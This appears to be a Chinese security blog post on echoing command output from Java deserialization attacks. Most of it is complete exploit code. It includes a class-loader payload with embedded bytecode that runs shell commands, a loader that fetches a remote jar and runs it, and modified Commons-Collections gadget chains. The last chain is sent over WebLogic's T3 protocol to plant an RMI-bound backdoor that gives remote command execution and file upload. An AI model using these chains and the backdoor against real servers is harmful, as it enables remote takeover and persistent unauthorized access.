1. 程式人生 > 其它 >Java安全之反序列化回顯研究

Java安全之反序列化回顯研究

Java安全之反序列化回顯研究

0x00 前言

續上文反序列化回顯與記憶體馬,繼續來看看反序列化回顯的方式。上篇文中其實是利用中介軟體中儲存的RequestResponse物件來進行回顯。但並不止這麼一種方式。

0x01 回顯方式

  1. 中介軟體回顯
  2. defineClass
  3. Linux描述符回顯
  4. RMI繫結例項
  5. URLClassLoader丟擲異常
  6. 寫檔案css、js
  7. dnslog

defineClass異常回顯

異常類:

package com.nice0e3;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.Charset;

public class echo {
    public echo(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;
        while ((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }
        throw new Exception(buffer.toString());

    }
    }
public class demo extends ClassLoader{
    private static String Classname = "com.nice0e3.echo";
    private static byte[] ClassBytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 88, 10, 0, 24, 0, 46, 7, 0, 47, 7, 0, 48, 8, 0, 49, 8, 0, 50, 10, 0, 2, 0, 51, 10, 0, 2, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 10, 0, 57, 0, 58, 10, 0, 9, 0, 59, 7, 0, 60, 10, 0, 13, 0, 61, 7, 0, 62, 10, 0, 15, 0, 46, 10, 0, 13, 0, 63, 10, 0, 15, 0, 64, 8, 0, 65, 7, 0, 66, 10, 0, 15, 0, 67, 10, 0, 20, 0, 68, 7, 0, 69, 7, 0, 70, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 18, 76, 99, 111, 109, 47, 110, 105, 99, 101, 48, 101, 51, 47, 101, 99, 104, 111, 59, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 115, 116, 114, 101, 97, 109, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 12, 115, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 27, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 59, 1, 0, 14, 98, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 59, 1, 0, 6, 98, 117, 102, 102, 101, 114, 1, 0, 24, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 4, 108, 105, 110, 101, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 101, 99, 104, 111, 46, 106, 97, 118, 97, 12, 0, 25, 0, 71, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 66, 117, 105, 108, 100, 101, 114, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 25, 0, 72, 12, 0, 73, 0, 74, 7, 0, 75, 12, 0, 76, 0, 77, 1, 0, 25, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 82, 101, 97, 100, 101, 114, 1, 0, 3, 103, 98, 107, 7, 0, 78, 12, 0, 79, 0, 80, 12, 0, 25, 0, 81, 1, 0, 22, 106, 97, 118, 97, 47, 105, 111, 47, 66, 117, 102, 102, 101, 114, 101, 100, 82, 101, 97, 100, 101, 114, 12, 0, 25, 0, 82, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 12, 0, 83, 0, 84, 12, 0, 85, 0, 86, 1, 0, 1, 10, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 87, 0, 84, 12, 0, 25, 0, 26, 1, 0, 16, 99, 111, 109, 47, 110, 105, 99, 101, 48, 101, 51, 47, 101, 99, 104, 111, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 3, 40, 41, 86, 1, 0, 22, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 5, 115, 116, 97, 114, 116, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 1, 0, 7, 102, 111, 114, 78, 97, 109, 101, 1, 0, 46, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 1, 0, 50, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 110, 105, 111, 47, 99, 104, 97, 114, 115, 101, 116, 47, 67, 104, 97, 114, 115, 101, 116, 59, 41, 86, 1, 0, 19, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 82, 101, 97, 100, 101, 114, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 44, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 0, 33, 0, 23, 0, 24, 0, 0, 0, 0, 0, 1, 0, 1, 0, 25, 0, 26, 0, 2, 0, 27, 0, 0, 0, -10, 0, 6, 0, 7, 0, 0, 0, 112, 42, -73, 0, 1, -69, 0, 2, 89, 6, -67, 0, 3, 89, 3, 18, 4, 83, 89, 4, 18, 5, 83, 89, 5, 43, 83, -73, 0, 6, -74, 0, 7, -74, 0, 8, 77, -69, 0, 9, 89, 44, 18, 10, -72, 0, 11, -73, 0, 12, 78, -69, 0, 13, 89, 45, -73, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 1, 58, 6, 25, 4, -74, 0, 17, 89, 58, 6, -58, 0, 19, 25, 5, 25, 6, -74, 0, 18, 18, 19, -74, 0, 18, 87, -89, -1, -24, -69, 0, 20, 89, 25, 5, -74, 0, 21, -73, 0, 22, -65, 0, 0, 0, 2, 0, 28, 0, 0, 0, 38, 0, 9, 0, 0, 0, 9, 0, 4, 0, 10, 0, 36, 0, 11, 0, 50, 0, 12, 0, 60, 0, 13, 0, 69, 0, 14, 0, 72, 0, 15, 0, 83, 0, 16, 0, 99, 0, 18, 0, 29, 0, 0, 0, 72, 0, 7, 0, 0, 0, 112, 0, 30, 0, 31, 0, 0, 0, 0, 0, 112, 0, 32, 0, 33, 0, 1, 0, 36, 0, 76, 0, 34, 0, 35, 0, 2, 0, 50, 0, 62, 0, 36, 0, 37, 0, 3, 0, 60, 0, 52, 0, 38, 0, 39, 0, 4, 0, 69, 0, 43, 0, 40, 0, 41, 0, 5, 0, 72, 0, 40, 0, 42, 0, 33, 0, 6, 0, 43, 0, 0, 0, 4, 0, 1, 0, 20, 0, 1, 0, 44, 0, 0, 0, 2, 0, 45};

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if (name.equals(Classname)){
            return defineClass(Classname,ClassBytes,0,ClassBytes.length);
        }
        return super.findClass(name);
    }

    public static void main(String[] args) {
        demo loader = new demo();
        try {
            // 使用自定義的類載入器載入TestHelloWorld類
            Class testClass = loader.loadClass(Classname);
            testClass.getConstructor(String.class).newInstance("ipconfig");




        } catch (Exception e) {
            e.printStackTrace();

    }}}

URLClassLoader異常回顯

import java.io.*;
import java.nio.charset.Charset;

public class ProcessExec {
    public ProcessExec(String cmd) throws Exception {
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(streamReader);
        StringBuffer buffer = new StringBuffer();
        String line = null;

        while((line = bufferedReader.readLine()) != null) {
            buffer.append(line).append("\n");
        }

        throw new Exception(buffer.toString());
    }
}

將其打包成jar包

javac ProcessExec.java
jar -cvf ProcessExec.jar ProcessExec.class

將jar包掛載到web

package com.nice0e3;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class test1 {
    public static void main(String[] args) throws Exception {

        URL url = new URL("http://127.0.0.1:8000/ProcessExec.jar");
        URL[] urls = {url};
        URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
        Constructor<?> processExec = urlClassLoader.loadClass("ProcessExec").getConstructor(String.class);
        processExec.newInstance("ipconfig");
    }
}

改造CC鏈

將cc5鏈摳出來稍做修改。

package com.nice0e3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, MalformedURLException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
            new ConstantTransformer(URLClassLoader.class),
                    new InvokerTransformer("getConstructor",
                            new Class[]{Class[].class},
                            new Object[]{new Class[]{URL[].class}}),
                    new InvokerTransformer("newInstance",
                            new Class[]{Object[].class},
                            new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8000/ProcessExec.jar")}}}),
                    new InvokerTransformer("loadClass",
                            new Class[]{String.class},
                            new Object[]{"ProcessExec"}),
                    new InvokerTransformer("getConstructor",
                            new Class[]{Class[].class},
                            new Object[]{new Class[]{String.class}}),
                    new InvokerTransformer("newInstance",
                            new Class[]{Object[].class},
                            new Object[]{new String[]{"ipconfig"}})


        });

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
            outputStream.writeObject(poc);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

RMI繫結例項回顯

  1. 編寫遠端介面
package com.Rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Echo extends Remote {
    public String exec (String cmd) throws RemoteException;

    ;
}

  1. 實現遠端介面
package com.Rmi;

import java.io.InputStream;
import java.rmi.RemoteException;

public class EchoImpl implements Echo{
    public String exec(String cmd) throws RemoteException {
        InputStream in = null;
        try {
            in = Runtime.getRuntime().exec(cmd).getInputStream();
        }catch (Exception e){
            e.printStackTrace();
        }
        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");

        return s.hasNext()?s.next():"";
    }
    }


  1. 編寫服務端繫結EchoImpl
package com.Rmi;


import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class EchoServer {
    public static void main(String[] args) throws Exception {
        Echo echo = new EchoImpl();
        Echo e = null;

            e = (Echo) UnicastRemoteObject.exportObject(echo,9999);
            Registry registry =  LocateRegistry.createRegistry(9999);
            registry.bind("Echo",e);
            System.out.println("Start RMI Server................");

    }
}

  1. 編寫客戶端呼叫遠端方法
package com.Rmi;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
        Echo echo = (Echo) registry.lookup("Echo");
        System.out.println(echo.exec("ipconfig"));
    }
}

改造

因為ClassLoader是一個abstract抽象類,所以只能從他的子類中尋找defineClass(),

這裡採用檢視呼叫來尋找Classload的子類,我這裡尋找到的是

java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource)

然後需要尋找一個實現Remote的介面,也就是尋找RMI的實現介面。方法的返回型別應該為String,並且方法必須丟擲 java.rmi.RemoteException 異常。

查詢到一下幾個介面,符合條件的。

ClusterMasterRemote
SingletonMonitorRemote
RemoteMigratableServiceCoordinator
RemoteLeasingBasis
RemoteChannelService

編寫回顯類

package com;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;
import weblogic.cluster.singleton.ClusterMasterRemote;

import javax.naming.Context;
import javax.naming.InitialContext;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.rmi.RemoteException;

public class ECHOClass extends AbstractTranslet implements ClusterMasterRemote {
    static {
        try{
            Context ctx = new InitialContext();
            ctx.rebind("echo", new ECHOClass());
        }catch (Exception e){

        }
    }

    @Override
    public void setServerLocation(String path, String text) throws RemoteException {
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(path);
            fileOutputStream.write(new BASE64Decoder().decodeBuffer(text));
            fileOutputStream.flush();
            fileOutputStream.close();
        }catch (Exception e) {

        }
    }

    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            if (cmd.equals("unbind")) {
                Context ctx = new InitialContext();
                ctx.unbind("sectest");
                return null;
            } else{
                String name = System.getProperty("os.name");
                String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                byte[] buf = new byte[1024];
                int len = 0;
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                while ((len = in.read(buf)) != -1) {
                    out.write(buf, 0, len);
                }
                return new String(out.toByteArray());
            }

        }catch (Exception e){

        }
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

這裡該介面需要重寫2個方法,一個返回型別為String,一個是void型別。那麼這裡使用返回型別為String的getServerLocation方法來做命令執行回顯,而setServerLocation作為上傳的方法。在反序列化的時候,結合利用鏈將該類打入目標伺服器中,打入後會進行我們的echo會繫結 ECHOClass這個例項。然後再去呼叫一下程式碼進行命令執行回顯。

Object obj= getInitContext(protocol,host,port).lookup("echo");
ClusterMasterRemote shell = (ClusterMasterRemote)obj;
String result = shell.getServerLocation("whoami");

而這裡繼承AbstractTranslet是為了某些利用鏈TemplatesImpl的動態載入。

改寫cc鏈

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(DefiningClassLoader.class),
    new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
    new InvokerTransformer("defineClass",
                           new Class[]{String.class, byte[].class}, new Object[]{className, byteclass}),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    new ConstantTransformer(new HashSet())};

最終程式碼

最終想使用cc7使用ClasspathClassLoader來做命令執行。

public class test {
    private static String host = "192.168.22.132";
    private static String port = "7001";


    public static void main(String[] args) {
        try {
            String url = "t3://" + host + ":" + port;
            // 安裝RMI例項
            invokeRMI();

            Hashtable env = new Hashtable();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
            env.put(Context.PROVIDER_URL, url);
            env.put("weblogic.jndi.requestTimeout",15000L);
            InitialContext initialContext = new InitialContext(env);

            ClusterMasterRemote remote = (ClusterMasterRemote) initialContext.lookup("echo");

            // 呼叫RMI例項執行命令
            String res = remote.getServerLocation("ifconfig");
            System.out.println(res);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    private static void invokeRMI() throws Exception {
        byte[] buf = ClassFiles.classAsBytes(ECHOClass.class);
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{});
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(ClasspathClassLoader.class),
                new InvokerTransformer("getDeclaredConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[0]}),
                new InvokerTransformer("newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[0]}),
                new InvokerTransformer("defineCodeGenClass",
                        new Class[]{String.class, byte[].class, URL.class}, new Object[]{ECHOClass.class, buf, null}),
                new ConstantTransformer(1)};

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);


        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);


        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");

        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(hashtable);
        objOut.flush();
        objOut.close();
        byte[] payload = out.toByteArray();
        T3ProtocolOperation.send(host, port, payload);
    }
}

在rmi繫結例項回顯中實際上就是打入一個rmi的後門,然後進行呼叫該後門進行執行命令,並且回顯。

中介軟體回顯

Java安全之反序列化回顯與記憶體馬

Java安全之挖掘回顯鏈

Reference

Weblogic使用ClassLoader和RMI來回顯命令執行結果

0x02 結尾

不僅限於這些方法,還有其他的一些回顯方法,比如說寫檔案或dnslog,比較簡單。但例如dnslog這些在不出網的情況就不行了。